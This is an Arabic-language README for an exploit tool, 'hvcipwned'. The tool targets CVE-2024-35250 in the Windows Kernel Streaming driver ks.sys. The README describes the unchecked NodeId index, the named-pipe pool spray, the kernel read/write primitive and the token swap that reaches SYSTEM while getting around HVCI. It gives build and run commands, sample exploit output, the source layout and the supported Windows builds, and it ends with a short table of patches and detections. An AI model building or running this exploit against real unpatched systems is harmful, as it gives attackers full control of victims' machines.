
تُظهر CVE-2024-35250 أن HVCI ليس دفاعًا ضد استغلالات النواة القائمة على البيانات فقط. ما دامت ثغرة في برنامج تشغيل توفّر أولية قراءة/كتابة اعتباطية (R/W)، يظل تبديل الرمز المميّز (token swap) تقنيةً عامةً لتصعيد الصلاحيات إلى SYSTEM — دون الحاجة إلى تنفيذ أي كود.
تصعيد صلاحيات محلي عبر إلغاء مرجع مؤشر غير موثوق في برنامج تشغيل Kernel Streaming الخاص بنظام Windows (ks.sys).
استغلال يعتمد على البيانات فقط — يتجاوز حماية تكامل الكود المحمية بواسطة Hypervisor (HVCI).
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2024-35250 |
| المكوّن | ks.sys (Kernel Streaming) |
| نوع الخلل | إلغاء مرجع مؤشر غير موثوق |
| التأثير | تصعيد صلاحيات إلى NT AUTHORITY\SYSTEM |
| HVCI | تم تجاوزه — بدون تنفيذ كود في النواة |
| التصحيح | KB5039212 (يونيو 2024) |
| الأهداف | Windows 10 20H1+ / Windows 11 21H2-23H2 |
يقوم ks!KspPropertyHandler بتوجيه طلبات الخصائص على مستوى الطبولوجيا عبر
KspProcessPropertyNode. يتم استخدام حقل NodeId القادم من بنية KSP_NODE التي يوفّرها المستخدم كمؤشر إلى مصفوفة جدول الأتمتة الداخلية
بدون التحقق من الحدود:
NtDeviceIoControlFile
ks!CKSFilter::DispatchDeviceIoControl
ks!KspPropertyHandler
ks!KspProcessPropertyNode
*(automationTable + NodeId * stride) <-- يتحكم به المهاجم
إن NodeId مصمّم بعناية يتجاوز عدد العقد الفعلي يعيد توجيه إلغاء المرجع
إلى ذاكرة مجاورة من تجمّع الذاكرة (pool memory)، مما يوفّر بدائية قراءة/كتابة خارج الحدود.
يعالج الاستغلال بنى بيانات النواة حصريًا:
EPROCESS عبر NtQuerySystemInformationActiveProcessLinks للعثور على PID 4 (System)لا يتم حقن أي شيلكود. لا يتم إنشاء أو تنفيذ أي صفحات كود غير موقّعة. لا يتم اختطاف أي مؤشرات تدفق تحكم.
| الحماية | الحالة |
|---|---|
| HVCI / KMCI | تم تجاوزها |
| SMEP | لم يتم تشغيلها |
| SMAP | لم يتم تشغيلها |
| kCFG | لم يتم تشغيلها |
hvcipwned.sln في Visual StudioCtrl+Shift+B)الملف الناتج: x64\Release\hvcipwned.exe
cl.exe /nologo /W4 /O2 /TC ^
main.c device.c leak.c krw.c token.c exploit.c ^
/I ^
/Fe:exploit.exe ^
/link setupapi.lib kernel32.lib advapi32.lib
hvcipwned.exe
شغّله من جلسة مستخدم غير مميز على نظام ثغره غير مصحّح.
عند النجاح، تفتح نافذة cmd.exe جديدة تعمل بصلاحيات NT AUTHORITY\SYSTEM.
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)
press enter to exit...
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h - types, log macros, nt api typedefs
├── offsets.h - per-build eprocess field offsets
├── device.h - ks device enumeration
├── leak.h - kernel address leaks
├── krw.h - r/w primitive context
├── token.h - token swap + shell spawn
└── exploit.h - top-level entry
├── main.c - entry point
├── device.c - setupapi device open
├── leak.c - NtQuerySystemInformation leaks
├── krw.c - vulnerability trigger + pool spray + r/w
├── token.c - eprocess walk + token overwrite
└── exploit.c - orchestration
يتم حل الإزاحات (offsets) تلقائيًا في وقت التشغيل عبر RtlGetVersion.
هذا المشروع مقدَّم لأغراض البحث الأمني المعتمد والتعليم فقط. لا تستخدمه ضد أي أنظمة دون إذن كتابي صريح. لا يتحمّل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
| CET / Shadow Stack | لم يتم تشغيلها |
| نظام التشغيل | الإصدار (Build) | الحالة |
|---|
| Windows 10 20H1 | 19041 | مدعوم |
| Windows 10 20H2 | 19042 | مدعوم |
| Windows 10 21H1 | 19043 | مدعوم |
| Windows 10 21H2 | 19044 | مدعوم |
| Windows 10 22H2 | 19045 | مدعوم |
| Windows 11 21H2 | 22000 | مدعوم |
| Windows 11 22H2 | 22621 | مدعوم |
| Windows 11 23H2 | 22631 | مدعوم |
| الإجراء | التفاصيل |
|---|
| التصحيح | ثبّت KB5039212 (يونيو 2024) أو أحدث |
| الكشف | راقب IOCTL_KS_PROPERTY مع علامة KSPROPERTY_TYPE_TOPOLOGY |
| EDR | نبّه عند تغييرات تكامل الرموز عبر استدعاءات EtwTi في النواة |
| التقوية | قيّد وصول المستخدم إلى واجهات أجهزة KS عبر DACL |